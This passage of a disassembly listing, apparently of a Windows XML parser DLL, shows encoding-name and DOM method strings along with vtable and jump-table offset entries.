		push	edi
		add	[ebx+0], dl
		sub	eax, 32003100h
		add	large ds:3400h,	dh


loc_69B274A9:				; DATA XREF: .text:69B27398o
		add	[eax+49005790h], dl
		add	[esi+0], cl
		inc	esp
		add	[edi+0], cl
		push	edi
		add	[ebx+0], dl
		sub	eax, 32003100h
		add	large ds:3300h,	dh


loc_69B274C5:				; DATA XREF: .text:69B27380o
		add	[eax+49005790h], dl
		add	[esi+0], cl
		inc	esp
		add	[edi+0], cl
		push	edi
		add	[ebx+0], dl
		sub	eax, 32003100h
		add	large ds:3200h,	dh


loc_69B274E1:				; DATA XREF: .text:69B27368o
		add	[eax+49005790h], dl
		add	[esi+0], cl
		inc	esp
		add	[edi+0], cl
		push	edi
		add	[ebx+0], dl
		sub	eax, 32003100h
		add	large ds:3100h,	dh


loc_69B274FD:				; DATA XREF: .text:69B27350o
		add	[eax+49005790h], dl
		add	[esi+0], cl
		inc	esp
		add	[edi+0], cl
		push	edi
		add	[ebx+0], dl
		sub	eax, 32003100h
		add	large ds:3000h,	dh


loc_69B27519:				; DATA XREF: .text:69B27320o
		add	[eax+54005590h], dl
		add	[esi+0], al
		sub	eax, 36003100h
; ---------------------------------------------------------------------------
		db 0
		dd 90900000h
aUsAscii:				; DATA XREF: .text:69B27308o
		unicode	0, <us-ascii>,0
		align 10h
aUnicode20Utf8:				; DATA XREF: .text:69B272F0o
		unicode	0, <UNICODE-2-0-UTF-8>,0
aUnicode20Utf16:			; DATA XREF: .text:69B272D8o
		unicode	0, <UNICODE-2-0-UTF-16>,0
		align 4
aUnicode11Utf8:				; DATA XREF: .text:69B272C0o
		unicode	0, <UNICODE-1-1-UTF-8>,0
aIso88599:				; DATA XREF: .text:69B27278o
		unicode	0, <iso-8859-9>,0
		align 4
aIso88598:				; DATA XREF: .text:69B27260o
		unicode	0, <iso-8859-8>,0
		align 10h
aIso88597:				; DATA XREF: .text:69B27248o
		unicode	0, <iso-8859-7>,0
		align 4
aIso88596:				; DATA XREF: .text:69B27230o
		unicode	0, <iso-8859-6>,0
		align 10h
aIso88595:				; DATA XREF: .text:69B27218o
		unicode	0, <iso-8859-5>,0
		align 4
aIso88594:				; DATA XREF: .text:69B27200o
		unicode	0, <iso-8859-4>,0
		align 10h
aIso88593:				; DATA XREF: .text:69B271E8o
		unicode	0, <iso-8859-3>,0
		align 4
aIso88592:				; DATA XREF: .text:69B271D0o
		unicode	0, <iso-8859-2>,0
		align 10h
aIso88591:				; DATA XREF: .text:69B271B8o
		unicode	0, <iso-8859-1>,0
		align 4
aIso10646Ucs2:				; DATA XREF: .text:off_69B271A0o
		unicode	0, <iso-10646-ucs-2>,0
off_69B276A8	dd offset sub_69B372FA	; DATA XREF: sub_69B37036+Fo
					; sub_69B370B4o
aMaxAttributesP:			; DATA XREF: sub_69B374CD+Co
					; sub_69B37527+7o
		unicode	0, <max-attributes-per-element>,0
		align 4
off_69B276E4	dd offset sub_69B383A8	; DATA XREF: sub_69B3813A+1Co
					; sub_69B39325+1Co
		dd offset sub_69B380C2
		dd offset sub_69B380EB
off_69B276F0	dd offset sub_69B3886F	; DATA XREF: sub_69B3813A+16o
					; sub_69B39325+15o
		align 8
off_69B276F8	dd offset sub_69B375FD	; DATA XREF: sub_69B3813A+10o
					; sub_69B39325+Fo
		dd offset sub_69B376DC
		dd offset sub_69B3770D
		dd offset sub_69B381E9
		dd offset sub_69B37847
		dd offset sub_69B378CA
		dd offset sub_69B37967
		dd offset sub_69B3799A
		dd offset sub_69B379CD
		dd offset sub_69B37A00
		dd offset sub_69B373C3
		dd offset sub_69B38236
		dd offset sub_69B37403
		dd offset sub_69B37A77
		dd offset sub_69B39AEF
		dd offset sub_69B39507
		dd offset sub_69B39730
		dd offset sub_69B398C8
		dd offset sub_69B3967D
		dd offset sub_69B39961
		dd offset sub_69B39A0F
		dd offset sub_69B3773E
		dd offset sub_69B377AA
		dd offset sub_69B377F4
		dd offset sub_69B38A09
		dd offset sub_69B37876
		dd offset sub_69B373B6
		dd offset sub_69B388A5
		dd offset sub_69B373CD
		dd offset sub_69B3740E
		dd offset sub_69B37448
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B374CD
		dd offset sub_69B37527
off_69B27784	dd offset loc_69B38814	; DATA XREF: sub_69B38858-8Eo
					; sub_69B38833+Eo
off_69B27788	dd offset loc_69B3A55C	; DATA XREF: sub_69B3A342+14o
					; sub_69B3A38A+Do
; const	WCHAR asc_69B2778C
asc_69B2778C:				; DATA XREF: sub_69B3AC11+33o
					; sub_69B3AC11+9Eo ...
		dw 0Dh
		dw 0Ah
		unicode	0, <>,0
		align 4
off_69B27794	dd offset loc_69B3B291	; DATA XREF: sub_69B3B210+22o
					; sub_69B3B2B9+1Bo
		dd offset loc_69B3B29B
		dd offset loc_69B3B2A5
		dd offset loc_69B3B2AF
		dd offset sub_69B3ADB8
off_69B277A8	dd offset sub_69B3B273	; DATA XREF: sub_69B3B210+1Bo
					; sub_69B3B2B9+14o
		dd offset sub_69B3B27D
		dd offset sub_69B3B287
		dd offset sub_69B3ACD6
		dd offset sub_69B3A93B
off_69B277BC	dd offset loc_69B3B313	; DATA XREF: sub_69B3B210+14o
					; sub_69B3B2B9+Eo
off_69B277C0	dd offset sub_69B3A953	; DATA XREF: sub_69B3B210+Eo
					; sub_69B3B2B9+8o
		dd offset sub_69B3A9F7
		dd offset sub_69B3AA4A
		dd offset sub_69B3AFEE
		dd offset sub_69B3A92C
		dd offset sub_69B84A3B
		dd offset sub_69B3B01F
		dd offset sub_69B3B14A
		dd offset sub_69B3AAE4
		dd offset sub_69B3AB4E
		dd offset sub_69B84A43
a1_0_0:					; DATA XREF: .text:69B27800o
		unicode	0, <1.0>,0
off_69B277F4	dd offset off_69B17D10	; DATA XREF: sub_69B173D1+37Bo
					; sub_69B3EBB0:loc_69B3EBDDo
		dd 0
		dd 3
		dd offset a1_0_0	; "1.0"
aXSchema:				; DATA XREF: .text:69B27824o
					; sub_69B8AF4C+16o
		unicode	0, <x-schema:>,0
		dd offset off_69B17D10
		align 10h
dword_69B27820	dd 9							; sub_69B8AF4Cr
		dd offset aXSchema	; "x-schema:"
aStylesheet_0:				; DATA XREF: .data:69B98474o
					; .data:69B991F0o
		unicode	0, <stylesheet>,0
		align 10h
aCreateprocesso:			; DATA XREF: .data:off_69B9845Co
		unicode	0, <createProcessor>,0
off_69B27860	dd offset loc_69B3BB7C	; DATA XREF: sub_69B3BA77+40o
					; sub_69B3BC4C+34o
		dd offset loc_69B3BB86
		dd offset loc_69B3BB90
		dd offset loc_69B89694
		dd offset loc_69B89734
off_69B27874	dd offset loc_69B3BB5E	; DATA XREF: sub_69B3BA77+39o
					; sub_69B3BC4C+2Do
		dd offset loc_69B3BB68
		dd offset loc_69B3BB72
		dd offset sub_69B89514
		dd offset sub_69B895F4
		dd offset loc_69B3BAD8
		dd offset loc_69B3CD08
		dd offset loc_69B3BADC
off_69B27894	dd offset loc_69B3BB54	; DATA XREF: sub_69B3BA77+2Co
					; sub_69B3BC4C+20o
		dd offset sub_69B43BC0
		dd offset sub_69B5A11A
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B5A135
		dd offset sub_69B5A13F
		dd offset sub_69B3BAE4
		dd offset sub_69B3BAFF
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B278D0	dd offset sub_69B3BCD7	; DATA XREF: sub_69B3BA77+25o
					; sub_69B3BC4C+1Ao
off_69B278D4	dd offset sub_69B3BB4A	; DATA XREF: sub_69B3BA77+1Eo
					; sub_69B3BC4C+13o
		dd offset sub_69B5A0FC
		dd offset sub_69B5A106
		dd offset sub_69B2CF0E
dword_69B278E4	dd 6CD3F5CDh, 11D376D9h, 0A39Bh, 82777AF8h					; sub_69B3C888+7Do ...
off_69B278F4	dd offset sub_69B3CA88	; DATA XREF: sub_69B3C164+7o
					; sub_69B3CA5C+16o
off_69B278F8	dd offset sub_69B5A110	; DATA XREF: sub_69B3C290+1Bo
					; sub_69B3CDC8+23o
		dd offset sub_69B43BC0
		dd offset sub_69B5A11A
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B5A135
		dd offset sub_69B5A13F
		dd offset sub_69B3C2C6
		dd offset sub_69B3C2E1
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B27934	dd offset sub_69B3CB11	; DATA XREF: sub_69B3C290+15o
					; sub_69B3CDC8+1Co
off_69B27938	dd offset loc_69B3CD33	; DATA XREF: sub_69B3CC8F+3Bo
					; sub_69B3CD5C+31o
		dd offset loc_69B3BB86
		dd offset loc_69B3BB90
		dd offset loc_69B89694
		dd offset loc_69B89734
off_69B2794C	dd offset loc_69B3CD29	; DATA XREF: sub_69B3CC8F+34o
					; sub_69B3CD5C+2Ao
		dd offset loc_69B3BB68
		dd offset loc_69B3BB72
		dd offset sub_69B89514
		dd offset sub_69B895F4
		dd offset loc_69B3CD04
		dd offset loc_69B3CD08
		dd offset loc_69B3BADC
off_69B2796C	dd offset loc_69B3CD1F	; DATA XREF: sub_69B3CC8F+2Do
					; sub_69B3CD5C+1Do
		dd offset sub_69B43BC0
		dd offset sub_69B5A11A
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B5A135
		dd offset sub_69B5A13F
		dd offset sub_69B3C2C6
		dd offset sub_69B3C2E1
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B279A8	dd offset loc_69B3CD3D	; DATA XREF: sub_69B3CC8F+26o
					; sub_69B3CD5C+17o
off_69B279AC	dd offset loc_69B3CD15	; DATA XREF: sub_69B3CC8F+1Fo
					; sub_69B3CD5C+10o
		dd offset sub_69B5A0FC
		dd offset sub_69B5A106
		dd offset sub_69B2CF0E
off_69B279BC	dd offset sub_69B89EAF	; DATA XREF: sub_69B3BA77+33o
					; sub_69B3BC4C+27o ...
		dd offset sub_69B88F7D
off_69B279C4	dd offset sub_69B3DA7E	; DATA XREF: sub_69B3DA5B+12o
					; sub_69B3DA9D+Eo
aSetnameditem:				; DATA XREF: .data:69B98FC8o
		unicode	0, <setNamedItem>,0
		align 4
aRemovequalifie:			; DATA XREF: .data:69B98F98o
		unicode	0, <removeQualifiedItem>,0
aRemovenamedite:			; DATA XREF: .data:69B98F80o
		unicode	0, <removeNamedItem>,0
aGetqualifiedit:			; DATA XREF: .data:69B98F20o
		unicode	0, <getQualifiedItem>,0
		align 10h
aGetnameditem:				; DATA XREF: .data:off_69B98F08o
		unicode	0, <getNamedItem>,0
		align 4
a_newenum:				; DATA XREF: .data:69B98E88o
					; .data:69B98FE0o ...
		unicode	0, <_newEnum>,0
		align 10h
aReset:					; DATA XREF: .data:69B98E70o
					; .data:69B98FB0o ...
		unicode	0, <reset>,0
aNextnode:				; DATA XREF: .data:69B98E58o
					; .data:69B98F68o ...
		unicode	0, <nextNode>,0
		align 10h
aLength:				; DATA XREF: .data:69B98E40o
					; .data:69B98F50o ...
		unicode	0, <length>,0
		align 10h
aItem:					; DATA XREF: .data:off_69B98E28o
					; .data:69B98F38o ...
		unicode	0, <item>,0
		align 4
aDocumentfragme:			; DATA XREF: .data:69B98E1Co
					; .data:69B99B38o
		unicode	0, <documentfragment>,0
		align 10h
aDocumenttype:				; DATA XREF: .data:69B98E18o
					; .data:69B99B50o
		unicode	0, <documenttype>,0
		align 4
aDocument_0:				; DATA XREF: .data:69B98E14o
					; .data:off_69B99AF0o
		unicode	0, <document>,0
		align 10h
aComment:				; DATA XREF: sub_69B60C8B:loc_69B60F85o
					; .text:69B61E60o ...
		unicode	0, <comment>,0
aProcessinginst:			; DATA XREF: .data:69B98E0Co
					; .data:69B99B10o
		unicode	0, <processinginstruction>,0
aEntityreferenc:			; DATA XREF: .data:69B98E04o
					; .data:69B99B48o
		unicode	0, <entityreference>,0
aCdatasection:				; DATA XREF: .data:69B98E00o
					; .data:69B99B30o
		unicode	0, <cdatasection>,0
		align 4
a_unknowntype:				; DATA XREF: .data:off_69B98DF0o
		unicode	0, <_unknownType>,0
		align 4
aTransformnodet:			; DATA XREF: .data:69B989A0o
		unicode	0, <transformNodeToObject>,0
aTransformnode:				; DATA XREF: .data:69B98988o
		unicode	0, <transformNode>,0
aText:					; DATA XREF: sub_69B60C8B:loc_69B60F7Bo
					; .text:69B61EE0o ...
		unicode	0, <text>,0
		align 4
aSpecified:				; DATA XREF: .data:69B98958o
		unicode	0, <specified>,0
aSelectsingleno:			; DATA XREF: .data:69B98940o
		unicode	0, <selectSingleNode>,0
		align 10h
aSelectnodes:				; DATA XREF: .data:69B98928o
		unicode	0, <selectNodes>,0
aReplacechild:				; DATA XREF: .data:69B98910o
		unicode	0, <replaceChild>,0
		align 4
aRemovechild:				; DATA XREF: .data:69B988F8o
		unicode	0, <removeChild>,0
aPrevioussiblin:			; DATA XREF: .data:69B988E0o
		unicode	0, <previousSibling>,0
aPrefix:				; DATA XREF: .data:69B988C8o
		unicode	0, <prefix>,0
		align 4
aParsed:				; DATA XREF: .data:69B988B0o
		unicode	0, <parsed>,0
		align 4
aParentnode:				; DATA XREF: .data:69B98898o
		unicode	0, <parentNode>,0
		align 4
aOwnerdocument:				; DATA XREF: .data:69B98880o
		unicode	0, <ownerDocument>,0
aNodevalue:				; DATA XREF: .data:69B98868o
		unicode	0, <nodeValue>,0
aNodetypestring:			; DATA XREF: .data:69B98850o
		unicode	0, <nodeTypeString>,0
		align 4
aNodetypedvalue:			; DATA XREF: .data:69B98838o
		unicode	0, <nodeTypedValue>,0
		align 4
aNodetype:				; DATA XREF: sub_69B60C8B:loc_69B60CD9o
					; .text:69B61EB0o ...
		unicode	0, <nodeType>,0
		align 4
aNodename:				; DATA XREF: sub_69B60C8B:loc_69B60CE3o
					; .text:69B61EA8o ...
		unicode	0, <nodeName>,0
		align 4
aNextsibling:				; DATA XREF: .data:69B987F0o
		unicode	0, <nextSibling>,0
aNamespaceuri:				; DATA XREF: .data:69B987D8o
		unicode	0, <namespaceURI>,0
		align 10h
aLastchild:				; DATA XREF: .data:69B987C0o
		unicode	0, <lastChild>,0
aInsertbefore:				; DATA XREF: .data:69B987A8o
		unicode	0, <insertBefore>,0
		align 10h
aHaschildnodes:				; DATA XREF: .data:69B98790o
		unicode	0, <hasChildNodes>,0
aFirstchild:				; DATA XREF: .data:69B98778o
		unicode	0, <firstChild>,0
		align 4
aDefinition:				; DATA XREF: .data:69B98760o
		unicode	0, <definition>,0
		align 4
aDatatype_0:				; DATA XREF: .data:69B98748o
		unicode	0, <dataType>,0
		align 10h
aClonenode:				; DATA XREF: .data:69B98730o
		unicode	0, <cloneNode>,0
aChildnodes:				; DATA XREF: .data:69B98718o
		unicode	0, <childNodes>,0
		align 4
aBasename:				; DATA XREF: .data:69B98700o
		unicode	0, <baseName>,0
		align 10h
aAttributes:				; DATA XREF: .data:69B986E8o
		unicode	0, <attributes>,0
		align 4
aAppendchild:				; DATA XREF: .data:off_69B986D0o
		unicode	0, <appendChild>,0
aTagname:				; DATA XREF: .data:69B98618o
		unicode	0, <tagName>,0
aSetattributeno:			; DATA XREF: .data:69B98600o
		unicode	0, <setAttributeNode>,0
		align 4
aSetattribute:				; DATA XREF: .data:69B985E8o
		unicode	0, <setAttribute>,0
		align 10h
aRemoveattribut:			; DATA XREF: .data:69B985D0o
		unicode	0, <removeAttributeNode>,0
aRemoveattrib_0:			; DATA XREF: .data:69B985B8o
		unicode	0, <removeAttribute>,0
aNormalize:				; DATA XREF: .data:69B985A0o
		unicode	0, <normalize>,0
aGetelementsbyt:			; DATA XREF: .data:69B98588o
					; .data:69B997E0o
		unicode	0, <getElementsByTagName>,0
		align 4
aGetattributeno:			; DATA XREF: .data:69B98570o
		unicode	0, <getAttributeNode>,0
		align 4
aGetattribute:				; DATA XREF: .data:off_69B98558o
		unicode	0, <getAttribute>,0
		align 4
off_69B27FB8	dd offset loc_69B43875	; DATA XREF: sub_69B437E7+2Eo
					; sub_69B4389D+19o
		dd offset sub_69B43BC0
		dd offset sub_69B4387F
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B43889
		dd offset sub_69B43893
		dd offset sub_69B410FA
		dd offset sub_69B43832
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B27FF4	dd offset sub_69B4397E	; DATA XREF: sub_69B437E7+27o
					; sub_69B4389D+13o
off_69B27FF8	dd offset loc_69B43861	; DATA XREF: sub_69B437E7+20o
					; sub_69B4389D+Co
		dd offset sub_69B5A0FC
		dd offset sub_69B4386B
		dd offset sub_69B2CF0E
off_69B28008	dd offset loc_69B43A8B	; DATA XREF: sub_69B4399D+2Eo
					; sub_69B55714+29o
		dd offset loc_69B43A95
		dd offset loc_69B43A9F
		dd offset sub_69B80B30
off_69B28018	dd offset sub_69B55364	; DATA XREF: sub_69B4399D+27o
					; sub_69B55714+22o
		dd offset sub_69B55E94
		dd offset sub_69B439FF
		dd offset sub_69B43A81
off_69B28028	dd offset loc_69B43A77	; DATA XREF: sub_69B4399D+20o
					; sub_69B55714+1Bo
		dd offset sub_69B43BC0
		dd offset sub_69B5A11A
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B5A135
		dd offset sub_69B5A13F
		dd offset sub_69B43A23
		dd offset sub_69B43A3E
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B28064	dd offset loc_69B43A04	; DATA XREF: sub_69B4399D+19o
					; sub_69B55714+15o
off_69B28068	dd offset loc_69B43A6D	; DATA XREF: sub_69B4399D+12o
					; sub_69B55714+Eo
		dd offset sub_69B5A0FC
		dd offset sub_69B5A106
		dd offset sub_69B2CF0E
off_69B28078	dd offset loc_69B43C32	; DATA XREF: sub_69B14AA8+38o
					; sub_69B14B8C+32o
off_69B2807C	dd offset sub_69B45902	; DATA XREF: sub_69B44884+14o
					; sub_69B458D3+1Do
off_69B28080	dd offset sub_69B45B90	; DATA XREF: sub_69B455FC+14o
					; sub_69B45B61+1Do
off_69B28084	dd offset loc_69B46369	; DATA XREF: sub_69B44884+Do
					; sub_69B455FC+Do ...
		dd offset sub_69B5A0FC
		dd offset sub_69B5A106
		dd offset sub_69B2CF0E
off_69B28094	dd offset loc_69B4632C	; DATA XREF: sub_69B45A4C+1Co
					; sub_69B45ACF+1Eo
		dd offset loc_69B45AA8
		dd offset sub_69B45A7B
		dd offset sub_69B45B17
off_69B280A4	dd offset loc_69B45AB0	; DATA XREF: sub_69B45A4C+15o
					; sub_69B45ACF+18o
off_69B280A8	dd offset loc_69B45A9E	; DATA XREF: sub_69B45A4C+Eo
					; sub_69B45ACF+11o
		dd offset sub_69B5A0FC
		dd offset sub_69B5A106
		dd offset sub_69B2CF0E
off_69B280B8	dd offset loc_69B6A128	; DATA XREF: sub_69B14C7C+19o
					; sub_69B14CD0+19o ...
aTransform:				; DATA XREF: .data:69B99208o
		unicode	0, <transform>,0
aStartmodeuri:				; DATA XREF: .data:69B991D8o
		unicode	0, <startModeURI>,0
		align 4
aStartmode:				; DATA XREF: .data:69B991C0o
		unicode	0, <startMode>,0
aSetstartmode:				; DATA XREF: .data:69B991A8o
		unicode	0, <setStartMode>,0
		align 4
aReadystate:				; DATA XREF: .data:69B99178o
					; .data:69B99900o ...
		unicode	0, <readyState>,0
		align 4
aOwnertemplate:				; DATA XREF: .data:69B99160o
		unicode	0, <ownerTemplate>,0
aOutput:				; DATA XREF: .data:69B99148o
		unicode	0, <output>,0
		align 10h
aInput:					; DATA XREF: .data:69B99130o
		unicode	0, <input>,0
aAddparameter:				; DATA XREF: .data:69B99118o
		unicode	0, <addParameter>,0
		align 4
aAddobject:				; DATA XREF: .data:off_69B99100o
		unicode	0, <addObject>,0
off_69B2819C	dd offset loc_69B470DA	; DATA XREF: sub_69B46944+19o
					; sub_69B47360+1Eo
		dd offset sub_69B43BC0
		dd offset sub_69B47356
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B5A135
		dd offset sub_69B5A13F
		dd offset sub_69B469C9
		dd offset sub_69B469E4
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B281D8	dd offset loc_69B470E4	; DATA XREF: sub_69B46944+13o
					; sub_69B47360+17o
off_69B281DC	dd offset sub_69B470D0	; DATA XREF: sub_69B46944+Co
					; sub_69B47360+10o
		dd offset sub_69B5A0FC
		dd offset sub_69B4734C
		dd offset sub_69B2CF0E
		align 10h
dword_69B281F0	dd 0F5078F17h, 11D3C551h, 0B989h, 21E21FF8h
					; DATA XREF: sub_69B1C04C:loc_69B247F7o
					; sub_69B47D5Eo ...
off_69B28200	dd offset dword_69B18894 ; DATA	XREF: sub_69B47F56o
					; .text:off_69B59D14o
		align 8
; const	WCHAR a?
a?:					; DATA XREF: sub_69B760B0:loc_69B761C4o
					; sub_69B771EE+35o ...
		unicode	0, <?>
		dw 3Eh
		unicode	0, <>,0
		align 10h
asc_69B28210:				; DATA XREF: .data:69B99300o
		unicode	0, <-->,0
		align 4
aXmldecl	db 'XMLDECL',0          ; DATA XREF: .data:69B992F0o
aDocfrag	db 'DOCFRAG',0          ; DATA XREF: .data:69B992ECo
aTypedvalue	db 'TYPEDVALUE',0       ; DATA XREF: .data:69B992E8o
		align 4
aAttribute_0	db 'ATTRIBUTE',0        ; DATA XREF: .data:69B992E4o
		align 10h
aIgnoresection	db 'IGNORESECTION',0    ; DATA XREF: .data:69B992E0o
		align 10h
aIncludesection	db 'INCLUDESECTION',0   ; DATA XREF: .data:69B992DCo
		align 10h
aWhitespace	db 'WHITESPACE',0       ; DATA XREF: .data:69B992D8o
		align 4
aEntityref	db 'ENTITYREF',0        ; DATA XREF: .data:69B992D4o
		align 4
aNamespace_1	db 'NAMESPACE',0        ; DATA XREF: .data:69B992D0o
		align 4
aElementdecl	db 'ELEMENTDECL',0      ; DATA XREF: .data:69B992CCo
aNotation_2	db 'NOTATION',0         ; DATA XREF: .data:69B992C8o
		align 4
aEntity_2	db 'ENTITY',0           ; DATA XREF: .data:69B992C4o
		align 4
aCdata_4	db 'CDATA',0            ; DATA XREF: .data:69B992C0o
		align 4
dword_69B282AC	dd 90004950h, 445444h, 55434F44h, 544E454Dh, 90909000h
					; DATA XREF: .data:69B992BCo
					; .data:69B992B8o ...
		dd 4D4D4F43h, 544E45h, 41444350h, 90004154h
aElement_1	db 'ELEMENT',0          ; DATA XREF: .data:lpMultiByteStro
; const	WCHAR asc_69B282D8
asc_69B282D8:				; DATA XREF: sub_69B4D477+5Ao
					; sub_69B60C8B:loc_69B61123o ...
		unicode	0, <:>,0
off_69B282DC	dd offset loc_69B4F3EC	; DATA XREF: sub_69B4EE6F+17o
					; sub_69B4EEA0+11o
off_69B282E0	dd offset loc_69B4FA3F	; DATA XREF: sub_69B4F64F+1Co
					; sub_69B4F7C4+Eo
off_69B282E4	dd offset loc_69B50A3C	; DATA XREF: sub_69B508C2+7o
					; sub_69B50B70+20o
off_69B282E8	dd offset loc_69B50A5B	; DATA XREF: sub_69B508E5+7o
					; sub_69B50CCC+18o
off_69B282EC	dd offset loc_69B50A7A	; DATA XREF: sub_69B50908+7o
					; sub_69B50DC6+1Eo
off_69B282F0	dd offset sub_69B510C4	; DATA XREF: sub_69B50F99+Do
					; sub_69B51071+18o
		align 8
off_69B282F8	dd offset loc_69B5305C	; DATA XREF: sub_69B51E15+3Eo
					; sub_69B53388+44o
		dd offset loc_69B532B3
		dd offset loc_69B5337E
		dd offset loc_69B53066
		dd offset loc_69B53070
		dd offset loc_69B5307A
		dd offset loc_69B53084
		dd offset loc_69B5308E
		dd offset loc_69B53098
		dd offset loc_69B530A2
		dd offset loc_69B530AC
		dd offset loc_69B530B6
		dd offset loc_69B530C0
		dd offset loc_69B530CA
		dd offset loc_69B530D4
		dd offset loc_69B530DE
		dd offset loc_69B530E8
		dd offset loc_69B530F2
		dd offset loc_69B530FC
		dd offset loc_69B53106
		dd offset loc_69B53110
		dd offset loc_69B5311A
		dd offset loc_69B53124
		dd offset loc_69B546B8
		dd offset loc_69B5312E
		dd offset loc_69B53138
		dd offset loc_69B53142
		dd offset loc_69B5314C
		dd offset loc_69B53156
		dd offset loc_69B53160
		dd offset loc_69B5316A
		dd offset loc_69B53174
		dd offset loc_69B5317E
		dd offset loc_69B53188
		dd offset loc_69B53192
		dd offset loc_69B5319C
		dd offset loc_69B531A6
		dd offset loc_69B531B0
		dd offset loc_69B531BA
		dd offset loc_69B531C4
		dd offset loc_69B531CE
		dd offset loc_69B531D8
		dd offset loc_69B531E2
		dd offset loc_69B531EC
		dd offset loc_69B544AE
		dd offset loc_69B5456C
off_69B283B0	dd offset loc_69B52ECC	; DATA XREF: sub_69B51E15+37o
					; sub_69B53388+3Do
		dd offset loc_69B532A9
		dd offset loc_69B53374
		dd offset loc_69B52ED6
		dd offset loc_69B52EE0
		dd offset loc_69B52EEA
		dd offset loc_69B52EF4
		dd offset loc_69B52EFE
		dd offset loc_69B52F08
		dd offset loc_69B52F12
		dd offset loc_69B52F1C
		dd offset loc_69B52F26
		dd offset loc_69B52F30
		dd offset loc_69B52F3A
		dd offset loc_69B52F44
		dd offset loc_69B52F4E
		dd offset loc_69B52F58
		dd offset loc_69B52F62
		dd offset loc_69B52F6C
		dd offset loc_69B52F76
		dd offset loc_69B52F80
		dd offset loc_69B52F8A
		dd offset loc_69B52F94
		dd offset loc_69B546AE
		dd offset loc_69B52F9E
		dd offset loc_69B52FA8
		dd offset loc_69B52FB2
		dd offset loc_69B52FBC
		dd offset loc_69B52FC6
		dd offset loc_69B52FD0
		dd offset loc_69B52FDA
		dd offset loc_69B52FE4
		dd offset loc_69B52FEE
		dd offset loc_69B52FF8
		dd offset loc_69B53002
		dd offset loc_69B5300C
		dd offset loc_69B53016
		dd offset loc_69B53020
		dd offset loc_69B5302A
		dd offset loc_69B53034
		dd offset loc_69B5303E
		dd offset loc_69B53048
		dd offset loc_69B53052
		align 10h
off_69B28460	dd offset loc_69B52D3C	; DATA XREF: sub_69B51E15+30o
					; sub_69B53388+36o
		dd offset loc_69B5329F
		dd offset loc_69B5336A
		dd offset loc_69B52D46
		dd offset loc_69B52D50
		dd offset loc_69B52D5A
		dd offset loc_69B52D64
		dd offset loc_69B52D6E
		dd offset loc_69B52D78
		dd offset loc_69B52D82
		dd offset loc_69B52D8C
		dd offset loc_69B52D96
		dd offset loc_69B52DA0
		dd offset loc_69B52DAA
		dd offset loc_69B52DB4
		dd offset loc_69B52DBE
		dd offset loc_69B52DC8
		dd offset loc_69B52DD2
		dd offset loc_69B52DDC
		dd offset loc_69B52DE6
		dd offset loc_69B52DF0
		dd offset loc_69B52DFA
		dd offset loc_69B52E04
		dd offset loc_69B54690
		dd offset loc_69B52E0E
		dd offset loc_69B52E18
		dd offset loc_69B52E22
		dd offset loc_69B52E2C
		dd offset loc_69B52E36
		dd offset loc_69B52E40
		dd offset loc_69B52E4A
		dd offset loc_69B52E54
		dd offset loc_69B52E5E
		dd offset loc_69B52E68
		dd offset loc_69B52E72
		dd offset loc_69B52E7C
		dd offset loc_69B52E86
		dd offset loc_69B52E90
		dd offset loc_69B52E9A
		dd offset loc_69B52EA4
		dd offset loc_69B52EAE
		dd offset loc_69B52EB8
		dd offset loc_69B52EC2
		dd offset loc_69B5469A
		dd offset loc_69B546A4
		align 8
off_69B28518	dd offset loc_69B52BAC	; DATA XREF: sub_69B51E15+29o
					; sub_69B53388+2Fo
		dd offset loc_69B53295
		dd offset loc_69B53360
		dd offset loc_69B52BB6
		dd offset loc_69B52BC0
		dd offset loc_69B52BCA
		dd offset loc_69B52BD4
		dd offset loc_69B52BDE
		dd offset loc_69B52BE8
		dd offset loc_69B52BF2
		dd offset loc_69B52BFC
		dd offset loc_69B52C06
		dd offset loc_69B52C10
		dd offset loc_69B52C1A
		dd offset loc_69B52C24
		dd offset loc_69B52C2E
		dd offset loc_69B52C38
		dd offset loc_69B52C42
		dd offset loc_69B52C4C
		dd offset loc_69B52C56
		dd offset loc_69B52C60
		dd offset loc_69B52C6A
		dd offset loc_69B52C74
		dd offset loc_69B54686
		dd offset loc_69B52C7E
		dd offset loc_69B52C88
		dd offset loc_69B52C92
		dd offset loc_69B52C9C
		dd offset loc_69B52CA6
		dd offset loc_69B52CB0
		dd offset loc_69B52CBA
		dd offset loc_69B52CC4
		dd offset loc_69B52CCE
		dd offset loc_69B52CD8
		dd offset loc_69B52CE2
		dd offset loc_69B52CEC
		dd offset loc_69B52CF6
		dd offset loc_69B52D00
		dd offset loc_69B52D0A
		dd offset loc_69B52D14
		dd offset loc_69B52D1E
		dd offset loc_69B52D28
		dd offset loc_69B52D32
		dd offset sub_69B543F4
		dd offset sub_69B54442
		dd offset sub_69B54490
off_69B285D0	dd offset loc_69B52A1C	; DATA XREF: sub_69B51E15+22o
					; sub_69B53388+28o
		dd offset loc_69B5328B
		dd offset loc_69B53356
		dd offset loc_69B52A26
		dd offset loc_69B52A30
		dd offset loc_69B52A3A
		dd offset loc_69B52A44
		dd offset loc_69B52A4E
		dd offset loc_69B52A58
		dd offset loc_69B52A62
